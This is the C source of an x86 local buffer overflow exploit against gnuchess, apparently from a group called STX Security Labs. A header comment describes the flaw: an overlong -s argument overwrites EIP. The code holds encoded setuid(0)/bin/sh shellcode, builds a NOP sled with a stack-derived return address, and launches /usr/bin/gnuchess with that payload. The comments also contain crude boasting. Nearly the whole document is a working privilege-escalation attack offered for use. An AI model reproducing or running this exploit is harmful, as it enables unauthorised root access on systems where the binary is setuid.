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- /*
-
- STX SECURITY LABS:
-
- 5358gchessfuck.c - x86 local buffer overflow exploit
- proof of concept code by: ace [ ace@static-x.org ]
- vulnerability discovered by: t0asty [ t0asty@static-x.org ]
-
- Description:
-
- gnuchess is an updated version of the GNU chess playing program.
- It has a simple alpha-numeric board display, an IBM PC compatible interface,
- or it can be compiled for use with the chesstool program on a SUN workstation
- or with the xboard program under X-windows.
-
- Vulnerability:
-
- A buffer overflow vulnerability resides in gnuchess.
- A segmentation fault occurs when 652 bytes of data are sent to
- the binary using the -s switch. The data overwrites the EIP therefore
- it allows us to control the pointer, allowing us to execute code.
-
- Versions vulnerable:
-
- [-] All versions are believed to be vulnerable.
- Tested on: Red Hat 7.3 with the latest version.
-
- **************************************************
- * Note: gnuchess may not be suid on all systems. *
- **************************************************
-
- StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
- X X
- X STX ONLINE [ www.static-x.org ] X
- X X
- StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
-
- **************************************************
- * Note: our pen0rs are 50 x larger than yours. *
- **************************************************
-
- */
-
- #include <stdio.h>
-
- char stxcode[] =
-
- /* ace's shellcode [ ace@static-x.org ] (setuid=0,/bin/sh) */
- "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x03\x5e\xeb\x05\xe8\xf8\xff"
- "\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x50\x80\x36\x01\x46\xe2\xfa\xea"
- "\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01\x54"
- "\x88\xe4\x82\xed\x11\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xb6"
- "\x11\x01\x01\x8c\xb2\x2f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01"
- "\x88\x74\xf9\x8c\x4c\xf9\x30\xd3\xb9\x0a\x01\x01\x01\x52\x88\xf2"
- "\xcc\x81\x5a\x5f\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91";
-
-
- unsigned long pen0r(void)
-
- {
- __asm__("movl %esp, %eax");
- }
-
- int main(int argc, char **argv) {
-
- int pos; int ace = pen0r(); int stxnop = 0x90;
- int stxbytes = 648; int stxtotal = stxbytes + 4;
- char *stxbof;
- stxbof = (char *)malloc(stxbytes);
-
- for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
- *(long *)&stxbof[stxbytes] = pen0r();
- memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));
-
- system("clear");
- printf("########################################\n");
- printf("# [ STX SECURITY LABS ] #\n");
- printf("# gnuchess local poc exploit by: ace #\n");
- printf("########################################\n\n");
- printf("[+] Return Address: 0x%x\n", ace);
- printf("[+] Buffer Size: %d\n", stxtotal);
- printf("[-] /usr/bin/gnuchess -s pwned!\n\n");
-
- execl("/usr/bin/gnuchess", "gnuchess", "-s", stxbof, NULL);
-
- return 0;
-
- }
-